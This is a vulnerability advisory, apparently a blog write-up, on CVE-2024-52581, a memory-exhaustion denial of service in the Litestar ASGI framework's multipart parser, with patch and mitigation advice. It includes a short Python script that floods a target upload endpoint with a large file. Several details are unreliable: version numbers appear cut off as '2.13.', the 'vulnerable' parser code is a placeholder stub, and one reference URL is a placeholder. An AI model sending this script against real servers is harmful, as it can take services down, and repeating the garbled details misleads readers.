Litestar is an Asynchronous Server Gateway Interface (ASGI) framework used for building web applications and APIs. A vulnerability has been discovered in versions prior to 2.13., which affects the multipart form parser in the framework. This vulnerability can lead to excessive memory consumption on the server, potentially causing a Denial of Service (DoS) attack.

This article will cover the details of the vulnerability (CVE-2024-52581), code snippets demonstrating the issue, links to original references, and available exploits for the vulnerability.

Vulnerability Details

The issue with the Litestar ASGI framework lies in its handling of multipart/form-data requests. In versions prior to 2.13., the multipart form parser expects the entire request body to be available as a single byte string and does not impose any default limit on the total size of the request body.

This design flaw allows an attacker to upload arbitrary large files wrapped in a multipart/form-data request, causing excessive memory consumption on the server. As a result, this can lead to out-of-memory errors and potentially crash the server.

This vulnerability may be a regression, as a variation of the issue was previously reported in CVE-2023-25578.

Code Snippet

Below is a code snippet demonstrating the vulnerability in the affected versions of Litestar. The public method signature and its implementation both expect the entire request body to be available as a single byte string.

class MultipartFormParser:
    def __init__(self, raw_body: bytes):
        self.raw_body = raw_body

    def parse(self):
        # Process the raw_body and parse multipart data
        pass

The key issue here is that there is no default limit imposed on the total size of raw_body, allowing an attacker to upload a large file and cause excessive memory consumption.

Exploit Details

An attacker can exploit this vulnerability by crafting a malicious multipart/form-data request with a large file attached. Below is a sample exploit using Python's requests library:

import requests

url = "http://target_server/upload";
large_file = "large_file.bin"

with open(large_file, "rb") as f:
    files = {"file": (large_file, f)}
    response = requests.post(url, files=files)

print(response.status_code)

This exploit sends a multipart/form-data request to the target server, uploading a large file that could cause excessive memory consumption and potentially crash the server.

Patch and Recommendations

A patch for this vulnerability is available in Litestar version 2.13.. It is highly recommended to update your Litestar framework to this version or later to avoid this vulnerability.

To further mitigate this vulnerability, server administrators should consider implementing additional safeguards, such as limiting the number of parts in a multipart/form-data request or imposing a maximum request size.

Original References

1. Litestar ASGI framework: https://litestar.example.com
2. Litestar GitHub Repository: https://github.com/litestar/litestar
3. CVE-2024-52581: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-52581
4. CVE-2023-25578: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25578

Conclusion

The Litestar ASGI framework's multipart form parser is vulnerable to excessive memory consumption in versions prior to 2.13.. This vulnerability can cause out-of-memory errors and potentially crash the server. Administrators using affected versions of Litestar should immediately update to version 2.13. or later to protect their systems. Implementing additional safeguards, such as limiting the number of parts in a multipart/form-data request or imposing a maximum request size, can further reduce the risk of exploitation.

Timeline

Published on: 11/20/2024 21:15:08 UTC
Last modified on: 11/25/2024 14:15:07 UTC